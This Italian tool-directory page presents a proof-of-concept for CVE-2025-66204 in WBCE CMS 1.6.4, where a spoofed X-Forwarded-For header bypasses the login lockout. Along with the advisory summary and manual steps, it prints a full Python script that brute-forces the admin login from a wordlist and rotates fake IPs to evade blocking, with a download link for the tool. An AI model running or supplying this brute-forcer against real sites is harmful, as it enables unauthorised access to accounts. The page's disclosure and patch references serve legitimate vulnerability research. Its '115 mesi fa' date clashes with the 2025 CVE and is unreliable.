Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/lukasz-rybak/cve-2025-66204
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingAutenticazionePaper e RicercaApprendimento e Formazione
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

Proof-of-concept per CVE-2025-66204: bypass della protezione brute-force in WBCE CMS tramite header X-Forwarded-For falsificato, con script di exploit Python automatizzato.

Vedi Repository
115 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-66204: WBCE CMS consente di bypassare la protezione brute-force utilizzando l'header X-Forwarded-For

Panoramica

CampoDettagli
ID CVECVE-2025-66204
GravitàMEDIA
AvvisoVisualizza avviso
Scoperto daLukasz Rybak

Prodotti Affetti

  • WBCE/WBCE_CMS

Dettagli

Riepilogo

Esiste un bypass della protezione brute-force in WBCE CMS 1.6.4. Il meccanismo di limitazione del login blocca un indirizzo IP dopo 5 tentativi di accesso non validi. Tuttavia, l'applicazione si fida completamente dell'header X-Forwarded-For senza convalidarlo o limitarne l'uso.

Modificando X-Forwarded-For su ogni richiesta, un attaccante può resettare il contatore all'infinito e ottenere tentativi illimitati di indovinare la password, bypassando di fatto tutta la protezione brute-force.

Dettagli

WBCE CMS determina l'IP del client utilizzando la seguente logica:

  1. Se la richiesta contiene l'header X-Forwarded-For, l'applicazione ne accetta ciecamente il valore.
  2. Altrimenti, ricade su REMOTE_ADDR.

Sebbene WBCE non sia in esecuzione dietro un proxy inverso per impostazione predefinita, l'endpoint di login analizza comunque X-Forwarded-For ogni volta che è presente, anche se aggiunto manualmente dal client.

Poiché l'applicazione non verifica che la richiesta provenga da un proxy attendibile, un attaccante può iniettare il proprio header X-Forwarded-For con qualsiasi indirizzo IP arbitrario.

Ciò comporta:

  • l'attaccante invia 5 password non valide usando X-Forwarded-For: 10.0.0.1 → quell'IP viene bloccato
  • l'attaccante invia la richiesta successiva con X-Forwarded-For: 10.0.0.2 → trattato come un IP completamente nuovo
  • la protezione brute-force può essere bypassata all'infinito

Questo comportamento è riproducibile su un'installazione pulita e predefinita senza proxy inverso davanti a WBCE CMS.

PoC

Passaggi

Tentare il login con una password errata e inviare l'header:

X-Forwarded-For: 10.0.0.10

Ripetere fino al blocco (dopo 5 tentativi). image

Cambiare l'header in:

X-Forwarded-For: 10.0.0.11

I tentativi di login vengono resettati e consentiti nuovamente. image

Ruotare attraverso 10.0.0.x e fare brute-force senza alcuna limitazione.

Script PoC automatizzato

Ho creato uno script Python che esegue l'attacco automaticamente, ruotando gli IP falsificati ogni quattro tentativi e rilevando il login riuscito.

image ... image image

Questo dimostra il completo bypass della protezione.

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

Impatto

  1. Brute-force illimitato di qualsiasi account;
  2. Possibile compromissione di account amministratore;
  3. Nessuna applicazione di limitazione della velocità;

Riferimenti

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

Dichiarazione di non responsabilità

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite sono solo a scopo educativo e difensivo.

Scarica lo strumento